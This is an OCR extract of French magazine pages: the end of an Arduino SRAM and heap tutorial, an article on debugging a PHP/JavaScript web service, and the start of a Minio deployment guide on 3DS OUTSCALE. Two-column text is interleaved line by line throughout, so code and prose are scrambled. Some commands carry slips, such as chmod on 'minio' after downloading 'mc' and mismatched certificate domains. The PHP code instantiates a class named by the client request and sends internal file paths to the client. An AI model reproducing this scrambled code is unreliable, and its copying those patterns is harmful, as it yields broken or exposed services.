satile. Cela fonctionne également pour les tableaux : si vous décla- de données différente, nous allons créer une fonction qui lit la
rez un tableau de 10 éléments de type uint32_t, alors valeur à l'adresse voulue sur une taille d'octets déterminée, puis
sizeof(tableau) vous renverra bien la valeur 40. Cela fonctionne l'imprime en hexadécimal sur le port série de l'ordinateur :
aussi avec les structures et objets du moment qui ne sont pas des
void PrintVariable(uint16_t address, int len)
pointeurs (donc pas déclarés avec l'opérateur new). Sizeof(), utilisée
{
sur un pointeur, renverra toujours 2.
// On place un pointeur à l'adresse:
uint8_t* pointer = (uint8_t*)address;
Allocation dans le tas
Essayons maintenant d'allouer deux buffers de 10 octets chacun. Ils
Serial.print("Ox");// On commence l'écriture.
devraient logiquement se trouver dans le tas :
for (int i = 0 ; i < len ; i++)
// void setup() éludée… {
void loop() uint8_t val = *(pointer+i); // valeur d'1 octet.
{ Serial.print((val < 16 ? "0" : "") + String(val, HEX));
uint8_t* buffer1 = (uint8_t*)malloc(10); }
uint8_t* buffer2 = (uint8_t*)malloc(10); Serial.println(""); // CRLF

Serial.println("Addr1: Ox" + String((uint16_t)buffer1, HEX)); }


Serial.println("Addr2: Ox" + String((uint16_t)buffer2, HEX));
Comme dit précédemment, il faut lire les octets "à l'envers" si on
veut obtenir la valeur d'une variable sur plusieurs octets (int, long,
free(buffer1);
uint16_t, …). Le premier octet étant celui de poids faible, si on a
free(buffer2);
un uint32_t dont les octets sont 01 00 00 00, alors il faut les inver-
ser ce qui donne la valeur 0x00000001. En revanche, si on impri-
delay(10000);
me un tableau ou une variable chaîne de type char*, alors les don-
}
nées seront dans le bon ordre.
On peut appeler la fonction de la façon suivante :

void loop()
{
long maVar = 32;
// Obtention de l'adresse avec '&'

PrintVariable((uint16_t)&maVar, sizeof(maVar));
// et de la taille avec sizeof():

delay(10000);
}
Par simplicité je n'ai pas mis le prototype ni les fonctions
PrintVariable() et setup(). N'oubliez pas Serial.begin(vitesse) dans

66 //programmez.com
ARDUINO

cette dernière. A l'exécution, on obtient le résultat suivant dans le tivement, à l'exécution on obtient :
moniteur série (toutes les 10 secondes) :
0xa0a0a0a0a0a0a0a0a0a0
0x20000000
Obtenir la taille
soit 0X20 suivi de trois fois 0X00, ce qui, lu à l'envers et en décimal des différentes sections
donne bien 32. Même si ce n'est pas très connu, on peut obtenir assez facilement
On peut également utiliser la fonction sur un tableau d'éléments la quantité de mémoire utilisée par chacune des sections en SRAM.
(un tableau est stocké dans la pile et se libère automatiquement Il existe des variables, à déclarer avec le mot-clé "extern", qui se
une fois la fonction terminée). Voici un exemple : chargent de nous donner les débuts et fins de chaque section. Avec
juste un petit twist pour le tas : la variable __heap_end existe bel et
void loop()
bien mais sa valeur n'est pas fiable. Je propose donc la fonction sui-
{
vante :
byte tableau[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
PrintVariable((uint16_t)&tableau, sizeof(tableau)); // Ecrit les taille de chaque section:
void PrintMemusage()
delay(10000); {
} extern char* __data_start;
extern char* __data_end;
Le résultat donne:
extern char* __bss_start;
0x00010203040506070809 extern char* __bss_end;
extern char* __heap_start;
Imprimer le contenu d'un buffer // prochaine allocation du tas disponible:
Imaginons maintenant que vous voulions imprimer le contenu d'un
extern char* __brkval;
buffer et que nous ne sachions pas quelle taille il a. Nous allons uti-
liser la technique vue précédemment dans le schéma Allocation
uint16_t memReg = (uint16_t)&__data_start;
mémoire dans le tas, à savoir reculer de 2 octets pour obtenir la
uint16_t memData = (uint16_t)&__data_end - (uint16_t)&__data_start;
taille. Je propose ceci :
uint16_t memBss = (uint16_t)&__bss_end - (uint16_t)&__bss_start;
void loop() uint16_t memHeapTtl = ((uint16_t)__brkval == 0) ? 0 : (__brkval - __malloc_heap_start);
{
// On crée un buffer: uint16_t memStack = RAMEND - SP; // SP = pointeur de pile.
uint8_t* buffer = (uint8_t*)malloc(10); uint16_t freeRam = SP - ((int)&__heap_start + memHeapTtl);
// On initialise tous les octets à 0xa0:
memset(buffer, 0xa0, 10); Serial.println("Registres: " + String(memReg) + " octets");
Serial.println(".Data: " + String(memData) + " octets");
// Imaginons maintenant qu'on ne Serial.println(".Bss: " + String(memBss) + " octets");
// connaisse pas la taille du buffer: Serial.println("Tas1: " + String(memHeapTtl) + " octets");
Serial.println("Pile: " + String(memStack) + " octets");
// Adresse du buffer dans le tas: Serial.println("Libre: " + String(freeRam) + " octets");
uint16_t address = (uint16_t)buffer; }

On voit que ces variables spéciales sont des pointeurs vers un type
uint8_t* pointer = (uint8_t*)(address - 2);
char (notez qu'elles commencent par 2 tirets bas et pas un seul).
Leurs noms sont assez parlants, sauf pour __brkval qui est un poin-
// Taille:
teur vers le prochain emplacement disponible dans le tas : s'il vaut
uint16_t len = 0;
0, alors il n'y a aucun octet alloué dans le tas. Sinon, il est forcé-
// On copie la valeur à l'adresse -2 dans len:
ment supérieur à __malloc_heap_start et on obtient la taille en lui
memcpy(&len, pointer, sizeof(uint16_t));
retranchant cette valeur.
Pour info l'Arduino n'a pas de Garbage Collector : il écrit toujours
pointer += 2;
la prochaine allocation à la fin du tas. Si on déclare 2 buffers, qu'on
PrintVariable((uint16_t)pointer, len);
libère le premier mais pas le deuxième puis qu'on en crée un troi-
sième, ce dernier n'ira pas dans l'espacement libéré par buffer 1,
free(buffer); // On libère !
même si la place est suffisante. Cet espace est alors perdu ! �
Enfin parlons de la macro SP : elle signifie Stack Pointer et renvoie
delay(10000);
l'adresse du dernier octet de la pile (donc le moins élevé). On s'en
}
servira beaucoup plus dans le prochain article car on peut faire
Si tout va bien, on devrait obtenir en résultat 10 fois 0xA0 ; mem- plein de choses sympathiques avec.
set() a initialisé chaque octet de notre buffer à cette valeur. Et effec- Testons tout de suite notre fonction avec le programme suivant qui

programmez.com// 67
ARDUINO

� n'avaient aucune utilité dans le programme !


Pour avoir le bon résultat, nous devons donc les utiliser d'une
façon ou d'une autre avant qu'ils ne soient libérés. Je propose
d'utiliser un simple memset() qui affecte une valeur quelconque
à chaque octet du buffer :

void loop()
{
uint8_t* buff1 = (uint8_t*)malloc(10);
uint8_t* buff2 = (uint8_t*)malloc(20);

PrintMemusage();

memset(buff1, 0xe4, 10);


memset(buff2, 0xe4, 20);

free(buff2); // Libérée !
free(buff1); // Délivrée !
delay(10000);
}

Résultat :

Registres: 512 octets


.Data: 100 octets
imprime, toutes les 10 secondes, les quantités de mémoires utili-
.Bss: 677 octets
sées :
Tas : 34 octets
Pile: 17 octets
void loop()

Libre : 7363 octets


{
uint8_t* buff1 = (uint8_t*)malloc(10);
uint8_t* buff2 = (uint8_t*)malloc(20);
Beaucoup mieux ;) A noter que les optimisations du compilateur ne
se limitent pas à cela : par exemple, s'il voit qu'une fonction n'est
PrintMemusage();
pas utilisée, il la supprime. Ou si elle n'est pas assez utilisée il peut
carrément la transformer en fonction "inline", c'est à dire qu'il copie-
free(buff2); // Libérée !
ra le code de la fonction tel quel à l'endroit où elle est appelée (pas
free(buff1); // Délivrée !
de branchement ni d'arguments ni de valeur de retour). Pour infor-
mation il est possible, à la compilation par avr-gcc, de préciser le
delay(10000);
niveau d'optimisation (-Og, -O0 à -O3 ou -Os, classées de la moins
}
agressive à la plus agressive). La configuration de ces options n'est
Normalement nous devrions avoir un tas égal à la quantité de nos pas directement disponible dans Arduino IDE, mais nous verrons
deux buffers + 2 octets chacun (pour la taille allouée), ce qui nous un moyen de contourner cela dans le prochain article.
donne 34 octets. Voici le résultat :

Registres: 512 octets


Conclusion
.Data: 100 octets
Nous avons vu comment manipuler la SRAM sur un Arduino : son
.Bss: 677 octets
fonctionnement, très similaire à celui d'un ordinateur classique,
Tas: 0 octets
nous permet à l'aide d'une simple adresse en mémoire de récupé-
Pile: 17 octets
rer les données que l'on souhaite. Nous avons également pu
Libre: 7397 octets
bidouiller pour obtenir la taille d'un buffer dans le tas, la taille des

Allô Houston, on a un problème ! Le tas est à 0 octets au lieu de


sections en mémoire et comprendre un peu mieux leur fonctionne-

34. On a pourtant des valeurs plutôt crédibles pour le reste. Alors


ment.

pourquoi ?
Nous verrons dans le prochain article comment obtenir les numé-

En fait la raison est très simple : nous avons été victimes des
ros d'instructions qui sont stockées en mémoire Flash, comment

optimisations lors de la compilation. Nous avons alloué deux buf-


déterminer le numéro de l'instruction en cours et comment créer un

fers, mais ne les avons pas utilisés puis les avons libérés. Le
mini debugger logiciel qui nous permettra d'arrêter l'exécution d'un

compilateur les a donc tout logiquement supprimés car ils


programme à une instruction donnée.

68 //programmez.com
JAVASCRIPT
Denis Duplan
sociologue et développeur à ses heures.
Blog : http://www.stashofcode.fr

Déboguer facilement
un service Web en PHP et JavaScript
S’il vous en reste, le développement d’un service Web en JavaScript (côté client) et PHP (côté serveur) est une
bonne occasion de vous arracher des cheveux. Le débogage est une opération délicate, quand vous ne pouvez pas
vous appuyer sur un système tel que Xdebug.

La base d’un service Web, côté client

C
’est que dans une application Web traditionnelle, un appel
niveau de service consiste simplement à appeler un script PHP dont Dans notre architecture, le client dispose d’un objet Request :

200 l’écran.
le contenu est retourné par le serveur. Dès lors, toute erreur
survenant lors de l’exécution du service s’affiche nécessairement à function Request (service, params, debug=false) {
this.service = service;
Il en va tout autrement dans le cas d’une application Web moderne, this.params = params;
de type Progressive Web Application. Ici, l’appel de service s’effec- this.debug = debug;
tue par le truchement d’un objet XMLHttpRequest . Le résultat de l’exé- }
cution du script est toujours renvoyé par le serveur, mais il parvient
au client via une des propriétés de cet objet. Les propriétés sont les suivantes :
Dans ces conditions, le callback fourni à l’objet XMLHttpRequest doit
.service Le nom du service à invoquer
analyser ce résultat pour déterminer si une erreur ou non a été ren-
contrée, et si oui, remonter au développeur toutes les informations .params L’objet (quelconque, pourvu qu’il soit sérialisable) conte-
utiles qu’il voyait s’afficher à l’écran dans le cas d’une application nant les paramètres à transmettre au service
Web traditionnelle : chemin d’accès au script, ligne dans le script .debug Un drapeau à true pour indiquer que le client veut traiter
où l’erreur est survenue, description de l’erreur, voire plus (Figure la requête en mode débogage (pas utilisé)
�).
Puisqu’il s’agit de permettre le débogage d’un service Web, com- Le client dispose d’une implémentation homologue de l’objet
mençons par mettre en place une petite architecture. Nous fonc- Response du serveur, qui sera décrit plus loin. La seule différence est
tionnerons à l’économie, c’est-à-dire à l’abri de tous les standards dans la méthode. Pour les propriétés, ce sont les mêmes :
qui compliquent et ralentissent le développement d’un service Web. .service.code , .data , .debug .
En particulier, fi de XML, SOAP et autres WSDL : nous utiliserons
du JSON pour sérialiser les données échangées, point barre. Un service est un objet héritant de l’objet Service :

� function Service (script, service, debug=false) {


this.request = null;
this.script = script;
this.service = service;
this.debug = debug;
}
Service.prototype.run = function (params=null) {
// ...
};
Service.prototype.callback = function (resolve, reject) {
// décrit plus loin
};
Service.prototype.onSuccess = function (resolve, reject) {
// décrit plus loin
};
Service.prototype.onFailure = function (resolve, reject) {
// décrit plus loin
};
Le log d’une requête produit par le système proposé ici.

programmez.com// 69
JAVASCRIPT

Le constructeur du service appelle celui de Service pour lui fournir service, sauf en cas d’erreur (.code à 1 ou 2), où c’est
l’URL du script à appeler, et le nom du service à invoquer via ce un objet qui renseigne sur l’erreur :
script. .file Le fichier du script dans lequel l’erreur est survenue
Pour présenter une requête au service sur le serveur, le client crée .line La ligne du script à laquelle l’erreur est survenue
l’objet correspondant au Service et en appelle la méthode .run () ,
.message La description de l’erreur
en lui transmettant un objet qui contient les paramètres de la
requête, sérialisable. .debug Un drapeau à true pour indiquer que le serveur veut
Le reste est pris en charge par Service.prototype.run () : traiter la réponse en mode débogage (pas utilisé)
• elle crée un objet Request en lui fournissant le nom du service, et Le serveur dispose d’une implémentation homologue de l’objet
l’objet contenant les paramètres à transmettre à ce dernier ; Request du client. La seule différence est dans la méthode. Pour les
• elle crée un objet XMLHttpRequest pour envoyer la requête au script propriétés, ce sont les mêmes : .service , .params et .debug .
sous la forme d’un objet FormData contenant le résultat de la Un service est une classe dérivée de la classe Service :
sérialisation de l’objet Request ;
class Service {
• elle retourne un objet Promise permettant de spécifier comment
public $name, $debug;
traiter le résultat de la requête, selon que cette dernière a réussi
function __construct ($name, $debug=false) {
ou échoué – disposer d’un tel objet permet de chaîner les
$this->name = $name;
requêtes.
$this->debug = $debug;
Le callback fourni à l’objet XMLHttpRequest est la méthode
}
Service.prototype.callback () . Elle est donc appelée par le navigateur
function run ($params) {
pour rendre compte de l’échange HTTP, dont l’éventuelle arrivée
}
d’une réponse du serveur.
function reply ($response) {
Lorsqu’une réponse arrive, elle se présente sous la forme d’un
header ('Content-Type: application/json');
document JSON qui n’est autre que le résultat de la sérialisation
echo ($response);
d’une instance de la classe Response définie en PHP sur le serveur.
exit ();
Le client désérialise ce JSON pour créer un objet JavaScript
}
Response homologue, puis il en traite le contenu. Il peut s’agir d’une
}
réponse véritable, le service ayant pu traiter la requête, ou d’un
message d’erreur rencontrée par PHP ou le service. Lorsqu’il est appelé sur requête du client, le script désérialise le
contenu du paramètre CGI request pour reconstruire l’homologue
La base d’un service Web, côté serveur de l’objet Request du client sous la forme d’une instance de la clas-
Comme déjà mentionné, le serveur dispose donc d’une classe – se Request. Il utilise Request::service pour former le nom de la classe du
pas d’un objet, car nous sommes en PHP, et non en JavaScript – service à invoquer, instancie cette classe, et en appelle la méthode
homologue de l’objet Response du client : ::run () en lui transmettant l’objet Request::params :

class Response { $request = Request::fromJSON (getCGI ('request'));


public $service, $code, $data, $debug; if (!class_exists ($request->service))
function __construct ($service, $code, $data, $debug=false) { throw (new Exception("Service \"$request->service\" does not exist."));
$this->service = $service; $service = new $request->service;
$this->code = $code; $service->run ($request->params);
$this->data = $data;
Le reste est pris en charge par la méthode ::run () du service :
$this->debug = $debug;
• elle traite véritablement la requête et produit un résultat sous la
}
forme d’un objet sérialisable en JSON ;
function toJSON () {
• elle instancie la classe Response en fournissant son nom, un code
$response = array ('code' => $this->code, 'data' => $this->data, 'debug' => $this->debug);
témoignant de la réussite ou de l’échec, et le résultat ;
return (json_encode ($response));
• elle appelle la méthode Service::reply () qui sérialise l’instance de
}
Response et renvoie le résultat au client sous la forme d’un docu-
}
ment JSON (type MIME application/json).
Les propriétés sont les suivantes :
Un exemple de service : lister des tables
.service Le nom du service à l’origine de la réponse.
Ces bases étant posées, il est possible de créer un service. Par
.code Le code de la réponse : exemple, un service qui renvoie la liste des tables dans la base de
0 Le service a réussi à traiter la requête données utilisée sur un serveur MySQL, sous la forme d’un tableau
1 PHP a rencontré une erreur dans le script de chaînes de caractères.
Côté client, il suffit d’écrire le constructeur d’un objet héritant de
2 Le service a rencontré une erreur
l’objet Service :
.data Les données de la réponse. C’est un objet spécifique au

70 //programmez.com
JAVASCRIPT

function ServiceGetTables (debug=false) { tallation – peuvent être formatées comme les erreurs rencontrées
Service.call (this, "<!--?php echo (htmlspecialchars (SITE_VPATH)) ?-->services.php", par le service, et le client peut ainsi traiter les deux pareillement.
"GetTables", debug); En l’occurrence, il s’agit de créer renvoyer une réponse comme
} celle que le client attend, si ce n’est qu’elle comporte un code
ServiceGetTables.prototype = Object.create (Service.prototype); signalant qu’une erreur a été rencontrée :

set_error_handler (function ($errorLevel, $errorMessage, $errorFile, $errorLine) {


Pour le reste, il suffit de créer l’objet et d’appeler la méthode .run ()
$message = array ('file' => $errorFile, 'line' => $errorLine, 'message' => $errorMessage);
dont il hérite de l’objet Service , en transmettant l’objet conte-
$response = new Response ("System", RESPONSE_ERROR_PHP, $message);
nant les paramètres s’il y en a :
echo ($response->toJSON ());
service = new ServiceGetTables (); exit ();
service.run ({ database: database }).then (...); });

Sur le serveur, il suffit d’écrire une classe dérivant de la classe Toutefois, certaines erreurs ne peuvent être interceptées de la sorte.
Service . Par exemple : La documentation de set_error_handler () précise :
The following error types cannot be handled with a user defined
class GetTables extends Service {
function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARN-
function __construct ($debug=false) {
ING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of
parent::__construct ('GetTables', $debug);
E_STRICT raised in the file where set_error_handler() is called.
}
Pour parvenir malgré tout à remonter ces erreurs, le script installe
function run ($params) {
un autre gestionnaire à l’aide de la fonction
parent::run ($params);
register_shutdown_function () :
mysqli_select_db ($GLOBALS['link'], $params->database);
$result = mysqli_query ($GLOBALS['link'], 'SHOW TABLES'); register_shutdown_function (function () {
$list = array (); // Ne pas oublier de passer la directive display_errors à "stderr" dans php.ini !
for ($count = 0 ; $count != mysqli_num_rows ($result) ; $count++) { $error = error_get_last ();
$record = mysqli_fetch_array ($result); if (!$error)
array_push ($list, $record[0]); return;
} $message = array ('file' => $error['file'], 'line' => $error['line'], 'message' => $error['message']);
$response = new Response ($this->name, RESPONSE_SUCCESS, $list); $response = new Response ("System", RESPONSE_ERROR_PHP, $message);
$this->reply ($response->toJSON ()); echo ($response->toJSON ());
} exit ();
} });

La variable globale $GLOBALS['link'] est le produit d’un appel à la Attention ! pour que cette astuce fonctionne, il ne faut pas oublier
fonction mysqli_connect () . C’est typiquement le genre d’appel récur- de passer la directive display_errors à "stderr" dans php.ini. A
rent lors du traitement d’une requête, qui peut à ce titre être facto- défaut, PHP envoie l’erreur sur la sortie standard, ce qui signifie
risé au niveau de la fonction Service::run () : que l’erreur est affichée avant que le gestionnaire ne soit appelé, si
bien que ce dernier perd l’avantage de pouvoir retourner l’erreur
class Service {
sous une forme exploitable par le client.
// ...
De son côté, le client peut donc être confronté à deux types d’er-
function run ($params) {
reurs :
$GLOBALS['link'] = mysqli_connect (MYSQL_HOSTNAME, MYSQL_USER, MYSQL_PASSWORD);
• des erreurs protocolaires (par exemple, une erreur 404) ;
}
• des erreurs système (celles dont il vient d’être question).
// ...
Le client détecte les deux, et remonte l’information au développeur
}
via la console. Cette information n’étant pas de la même nature
Pour le reste, tout est dans le code de la méthode ::run () qui doit selon le type d’erreur – aucune réponse n’est fournie par le script
générer la réponse à adresser au client via un appel à la méthode dans le premier cas, puisqu’il n’a pu être joint -, elle fait l’objet de
Service::reply () hérité. mises en forme différenciées.
Tout cela s’articule avec la gestion de base de l’appel au service par
Remonter les erreurs du serveur le client. La méthode .run () de l’objet Service crée un objet
Pour permettre le traitement de l’erreur par le client, qu’il s’agisse XMLHttpRequest , en lui fournissant comme callback une fonction
d’une erreur rencontrée par PHP ou le service, le script en charge anonyme qui appelle la méthode .callback () de ce même objet :
de l’exécution du service prend le contrôle de la gestion des erreurs
Service.prototype.run = function (params=null) {
rencontrées par PHP. Pour cela, il installe son propre gestionnaire à
return (new Promise ((resolve, reject) => {
l’aide de la fonction set_error_handler () .
var formData;
Dès lors, les erreurs rencontrées par PHP – du moins celles qui peu-
this.request = new XMLHttpRequest ();
vent parvenir à ce gestionnaire, car elles surviennent après son ins-

programmez.com// 71
JAVASCRIPT
this.request.open ("POST", this.script, true); $service->run ($request->params);
this.request.onreadystatechange = ((o, resolve, reject) => { }
return (() => o.callback.call (o, resolve, reject)); catch (Exception $exception) {
}) (this, resolve, reject); header ('Content-Type: application/json');
request = new Request (this.service, params, this.debug); $message = array ('file' => $exception->getFile (), 'line' => $exception->getLine (), 'message'
formData = new FormData (); => $exception->getMessage ());
formData.append ("request", JSON.stringify (request)); $response = new Response ("System", RESPONSE_ERROR_SERVICE, $message);
if (this.debug) echo ($response->toJSON ());
this.log (`Sending\n\t\tRequest:\t${JSON.stringify (request)}\n\t\t\t\tService:\t${this. exit ();
service}\n\t\t\t\tParams:\t\t${JSON.stringify (params)}\n\t\t\t\tDebug:\t\t${this.debug}`); }
this.request.send (formData); Enfin, déboguer…
})); Pour visualiser les erreurs pouvant survenir lors de l’invocation d’un
}; service, il faut spécifier le drapeau debug à true lors de la création
Service.prototype.callback = function (resolve, reject) { de l’objet du service sur le client, par défaut à false :
if (this.request.readyState !== 4)
return; service = new ServiceGetDatabases (true);
if (this.request.status !== 200) Plus généralement, cela permet d’accéder au détail de tous les
this.onFailure (resolve, reject); échanges. La requête et la réponse, que cette dernière remonte
else une réponse ou une erreur, sont alors affichées avec un luxe de
this.onSuccess (resolve, reject); détails dans la console. Par exemple :
};
// Log (start)
En dehors de ces erreurs, pour déboguer le script, il peut être utile Script: /test/index.php
de faire parvenir un message au client au niveau d’une certaine Service: GetTables
instruction dans ce dernier. Pour cela, la meilleure solution consiste Message: Sending
à s’appuyer sur la levée d’exceptions. Par exemple : Request: {"service":"GetTables","params":{"database":"test"},"debug":true}
Service: GetTables
throw (new Exception ("Message pour le client");
Params: {"database":"test"}
Cela implique que l’exécution du service se déroule dans le cadre Debug: true
d’une gestion des exceptions. //Log (end)
C’est la raison pour laquelle le programme principal du script est // Log (start)
enserré dans un bloc try { ... } catch { ... } : Script: /test/services.php
Service: GetTables
try {
Message: Receiving
$request = Request::fromJSON (getCGI ('request'));
Success
if (!class_exists ($request->service))
Response: {"code":0,"data":["tst_log","tst_news","tst_pages","tst_sessions","tst_users"],"debug":false}
throw (new Exception("Service \"$request->service\" does not exist."));
Code: 0
$service = new $request->service;
Data: ["tst_log","tst_news","tst_pages","tst_sessions","tst_users"]
� Debug:false
//Log (end)

Sur le blog de l’auteur, vous pouvez télécharger une archive conte-


nant le code complet d’une petite application Web qui permet de
lister les bases de données, les tables et les champs à l’aide d’au-
tant de services appelés de manière asynchrone, via une chaîne de
promises sur le client (Figure �).
Pour faire fonctionner l’exemple, vous devrez adapter quelques
constantes figurant dans le fichier common.php :

// Répertoire virtuel du site


define ("SITE_VPATH", "votre répertoire virtuel");
// Base de données MySQL
define ('MYSQL_HOSTNAME', 'votre hôte MySQL');
define ('MYSQL_USER', 'votre identifiant');
define ('MYSQL_PASSWORD', 'votre mot de passe');

72 //programmez.com
Ilane HAZOUT
Ingénieur de formation et passionné d'informatique et de technologie, et
après 10 ans d'expérience en tant que consultant informatique, Ilane Hazout
CLOUD
est responsable technique de compte auprès des éditeurs de logiciels et des
startups chez 3DS OUTSCALE depuis 2016. Ilane est garant du bon fonc-
tionnement des infrastructures Cloud des clients de 3DS OUTSCALE.

Déploiement de l'outil Minio sur le Cloud


3DS OUTSCALE
Cet article présente l’outil Minio ainsi qu’une procédure d’installation de ses différents composants pour la distribution
Ubuntu 18.04. Une présentation de quelques cas d’utilisation avec une interface graphique et une interface en ligne de
commande (CLI) complète le tour d'horizon.

Une fonctionnalité avancée de Minio Serveur permet de déclen-

N
ous allons nous attarder pour développer les avantages
d’utiliser un stockage objet comme Minio. Il s'agit en fait cher les fonctions spécifiques via son service de notifications niveau
de rendre vos données encore plus accessibles. Chaque
objet peut bénéficier de permissions spécifiques (ACL) et être éga-
lement accessible via votre navigateur ou directement depuis la
d'évènements compatible avec les files d'attente de messages telles
que Kafka, et les bases de données telles que Elasticsearch, Redis
et Postgres.
200
CLI. Le stockage objet est une solution adaptée pour stocker des
données de type statique, des images, des vidéos ou des librairies Pour augmenter les capacités d’intégration de l’outil dans un éco-
en JS. Il existe quelques cas d’utilisation pour lesquels il est possible système déjà existant, Minio propose une authentification
de stocker des images complètes de machine virtuelle sur un compatible avec les fournisseurs d'identités tels que Okta, Ping
Bucket. Identity ou bien évidemment avec un annuaire plus classique
comme un Active Directory.
De même, une des forces de cet applicatif est d'indexer en temps
réel tous les fichiers contenus sur les volumes rattachés au serveur Minio est un projet open source (sous licence Apache 2.0) de stoc-
Minio. Avec ce type de système en Cluster, vous pouvez faire évo- kage objet compatible avec l’API OSU 3DS OUTSCALE.
luer simplement votre espace de stockage. L’organisation des L’application est écrite en langage Go. Elle est conçue nativement
données non structurées, vous permet de stocker des milliards de pour le Cloud, avec une interface Web. Il rend disponible des fi-
fichiers sans les problèmes de complexité et de performance qui chiers de tous types via le protocole HTTP et HTTPS.
peuvent arriver dans des environnements hiérarchiques. Vous pou-
vez donc mettre à l'échelle les performances ou la capacité Après l’installation du serveur Minio, nous avons accès à une interface
simplement en ajoutant des instances Minio. Web (port 9000 par défaut) très épurée. Avec l’interface, il est pos-
sible de gérer les fichiers en « drag and drop », créer des Buckets,
De plus, tous les objets possèdent des métadonnées et tous les fi- ajouter des fichiers, partager des fichiers via une URL pré-signée.
chiers sont gérés avec un identifiant unique qui correspond à l'URL.
Les métadonnées et le numéro d'identification unique permettent Cas d’utilisation avancée
d’ignorer l'emplacement exact des données dans l'environnement Le déploiement de plusieurs instances Minio associées avec un ser-
de stockage. Tous les objets sont accessibles depuis toutes les ins- veur Nginx. Dans ce cas, Minio est capable de gérer le stockage
tances Minio grâce à une URL unique. Seules des règles de Objet. Pour soulager de la partie accès http, nous pouvons coupler
routages IP et des mécanismes DNS sont requis pour accéder aux Minio avec un serveur web.
ressources. Ce type d’organisation va également nous permettre de Un serveur de stockage objets léger tel que Minio peut être utilisé
positionner les métadonnées sur le même volume que les données pour fournir un stockage évolutif au niveau du backend d’une ap-
elles-mêmes. Dès lors, cela permet d’optimiser les temps d’accès plication.
et par là même de supprimer un éventuel goulot d’étranglement
vers un serveur de métadonnées unique. Cas d’utilisation sauvegarde
Activer une sauvegarde rapide avec une gateway Minio connectée
Dans certains cas d’usage, le stockage objet est utilisé comme un au stockage objet 3DS OUTSCALE
environnement de sauvegarde ou comme un espace d’archivage • Présentation d’une solution de sauvegarde rapide, basée sur la
indexé. Cela présente des avantages si les objets sont rattachés à commande mirror. Cette dernière est gérée directement par le
des métadonnées car la recherche et la récupération de fichiers ou client Minio MC.
de clips multimédia parmi des millions ou des milliards de fichiers • Pour déporter la sauvegarde vers un stockage objet redondé et
devient plus facile. garanti par 3DS OUTSCALE, nous utiliserons la mécanique de la
Gateway Minio.

programmez.com// 73
CLOUD
1. INSTALLATION Configuration du client
DE MINIO SERVEUR Ajout des Credentials et de l’adresse du serveur indiqués lors du
Installation du serveur lancement du serveur :
Téléchargement de la partie serveur
$> mc config host add myminio http://monserveur.com:9000
$> cd && wget https://dl.minio.io/server/minio/release/linux-amd64/minio 0Z8EWX25P758A8XCJAMB SECRET_KEY
$> chmod +x minio && mv -v minio /usr/bin/. && ln -s /usr/bin/minio ~/minio
Tester le client
Configuration du serveur Minio Le test du client est très simple et consiste à lister les fichiers dispo-
La configuration du serveur Minio ne se fait plus via un fichier de nibles sur la partie serveur de notre stockage objet :
configuration. La configuration se fait via des variables d’environ-
$> mc ls s3://myminio
nement. Voici trois exemples pour paramétrer votre serveur :

MINIO_ACCESS_KEY : personnaliser votre « access key » (équiva- 3. UTILISATION


lent de votre login). GENERIQUE DE MINIO
MINIO_SECRET_KEY : personnaliser votre « secret key », 8 carac-
tères minimum. Copier un fichier sur le serveur Minio
MINIO_BROWSER : « off » (désactiver l’interface Web).
$> mc cp -r '/Volumes/locale/monfichier.pdf'
Identifier les variables de configuration monfichier.pdf:8.13 MB / 8.13 MB 100.00% 12.55 MB/s 56s

$> minio server --help


Partage de fichier via une URL pré-
Lancement du serveur Minio signée
Dans notre exemple, nous utilisons deux points de montage pour Une URL pré-signée permet de rendre un objet accessible depuis
augmenter les performances de notre serveur. Effectivement, avec Internet. Tout utilisateur à qui vous envoyez l'URL pré-signée a
deux points de montage, Minio fera la réplication des données sur accès à l'objet pour la durée que vous spécifiez. Dans notre
les deux volumes. exemple ci-dessous, 120h :

$> minio server /home/USER/DD_STD_1T/ /home/USER/DD_STD2_1T/ $> mc share download --recursive --expire=120h
Endpoint: http://171.33.88.100:9000 http://172.17.0.1:9000 "myminio/bucket_pdf/monfichier.pdf"
http://monserveur.com:9000/minio/login URL: http://monserveur.com:9000/bucket_pdf/monfichier.pdf
AccessKey: 0Z8EWX25P758A8XCJAMSecretKey: XXXXXXXXXXXXXXXXXXX Expire: 5 days 0 hours 0 minutes 0 seconds
Share: http://monserveur.com:9000/bucket_pdf/monfichier.pdf?X-Amz-
Tester le serveur Algorithm=AWS4-HMAC-SHA256&X-Amz-
Pour tester le serveur, rien de plus simple : il suffit d’interroger l’URL
Credential=0Z8EWX25P758A8XCJAMB%2F20180218%2Fus-east-
indiquée par le retour de la commande ci-dessus.
1%2Fs3%2Faws4_request&X-Amz-Date=20180218T164549Z&X-Amz-Expires=432000
2. INSTALLATION Ici, notre stockage objet nous répond avec une URL pré-signée qui
DE MINIO CLIENT est générée pour l’occasion. L’URL permet donc de télécharger ou
Téléchargement du client de visionner la ressource monfichier.pdf pendant 120h.
https://monserveur.com:9000 �
$> wget https://dl.minio.io/client/mc/release/linux-amd64/mc
$> chmod +x minio && mv -v minio /usr/share/. && ln -s /usr/share/minio ~/minio
� 4. SÉCURISER L’ACCÈS AVEC
UN CERTIFICAT SSL
Dépendance à installer pour utiliser le
protocole HTTPS avec Minio Serveur
$> sudo apt-get update && sudo apt-get install software-properties-common
$> sudo add-apt-repository universe
$> sudo add-apt-repository ppa:certbot/certbot
$> sudo apt-get update$> sudo apt-get install certbot

Génération de certificat via le tool certbot


$> sudo certbot certonly
3: Place files in webroot directory (webroot)
Please enter in your domain name(s) monserveur.com

74 //programmez.com
CLOUD

Copie du certificat proxy_pass http://minio_servers;


}
$> sudo cp -v }
/etc/letsencrypt/live/monserveur.com/fullchain.pem
/home/user/.minio/certs/public.crt
CAS D’UTILISATION : Sauvegarde
$> sudo cp -v
Nous détaillons un cas d’utilisation relatif aux problématiques de
/etc/letsencrypt/live/monserveur.com.cf/privkey.pem
sauvegarde de données. Régulièrement nous avons besoin de sau-
/home/user/.minio/certs/private.key
vegarder nos données pour nous prémunir d’une perte de données
Renouvellement du certificat liée à un dysfonctionnement matériel.
Pour réaliser facilement et rapidement des sauvegardes de don-
$> sudo certbot certonly --standalone -d monserveur.cf --
nées, nous utilisons le stockage objet 3DS OUTSCALE. Pour avoir
staple-ocsp -m [email protected] --agree-to
une solution robuste et fiable, nous utilisons le serveur Minio avec
la Gateway sur le stockage objet 3DS OUTSCALE. Pour réaliser de
5. CAS D’USAGE la sauvegarde avec du stockage objet, il est fortement recommandé
